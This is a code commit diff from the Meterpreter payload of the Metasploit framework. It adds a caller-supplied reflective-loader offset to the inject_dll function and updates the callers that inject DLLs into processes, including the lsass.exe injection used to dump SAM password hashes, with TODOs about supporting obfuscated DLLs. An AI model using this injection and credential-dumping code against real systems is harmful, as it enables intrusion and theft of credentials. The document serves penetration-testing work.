feat: support offset for inject_dll function

Author: dledda-r7

c/meterpreter/source/extensions/priv/passwd.c

@@ -503,7 +503,8 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
 		dprintf("[PASSWD] Injecting into lsass.exe pid: %u", dwLsassPid);
 
 		/* todo: change the ReflectiveLoader string here, it's silly */
-		if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), pvParameterMemory, 0)) != ERROR_SUCCESS)
+		/* todo: support the offset for obfuscated dlls */
+		if ((dwResult = met_api->inject.dll(dwLsassPid, dwLsassArch, dump_sam, (DWORD)stResourceSize, LOADER_ORDINAL(EXPORT_REFLECTIVELOADER), 0, pvParameterMemory, 0)) != ERROR_SUCCESS)
 			BREAK_WITH_ERROR("[PASSWD} Unable to inject DLL", dwResult);
 		dprintf("[PASSWD] Successfully injected the DLL into lsass.exe");
 

c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c

@@ -71,7 +71,8 @@ DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader,
 		if( dwDllArch != dwPidArch )
 			BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT );
 
-		dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, cpCommandLine, strlen(cpCommandLine) + 1 );
+		// TODO: support offset for obfuscated dlls
+		dwResult = met_api->inject.dll( dwPid, dwPidArch, lpDllBuffer, dwDllLength, reflectiveLoader, 0, cpCommandLine, strlen(cpCommandLine) + 1 );
 	} while( 0 );
 
 	return dwResult;

c/meterpreter/source/extensions/stdapi/server/ui/desktop.c

@@ -427,6 +427,8 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request)
 		}
 
 		LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(request);
+		// TODO: Get optional offset for external reflective loader
+		// Modify the DLL_BUFFER struct to support offsets...
 
 		// get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes
 		// we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system

c/meterpreter/source/metsrv/base_inject.c

@@ -654,7 +654,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
  */
 
 
-DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize)
+DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize)
 {
 	DWORD dwResult = ERROR_ACCESS_DENIED;
 	LPVOID lpRemoteArg = NULL;
@@ -672,6 +672,10 @@ DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD
 
 		// check if the library has a ReflectiveLoader...
 		dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpDllBuffer, reflectiveLoader);
+		if(dwActualReflectiveLoaderOffset != 0) {
+			dprintf("[INJECT] inject_dll. Overriding ReflectiveLoader offset with supplied value: 0x%08X", dwActualReflectiveLoaderOffset);
+			dwReflectiveLoaderOffset = dwActualReflectiveLoaderOffset;
+		}
 		if (!dwReflectiveLoaderOffset)
 			BREAK_WITH_ERROR("[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION);
 

c/meterpreter/source/metsrv/base_inject.h

@@ -98,7 +98,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
 
 DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);
 
-DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);
+DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize);
 BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch);
 //===============================================================================================//
 #endif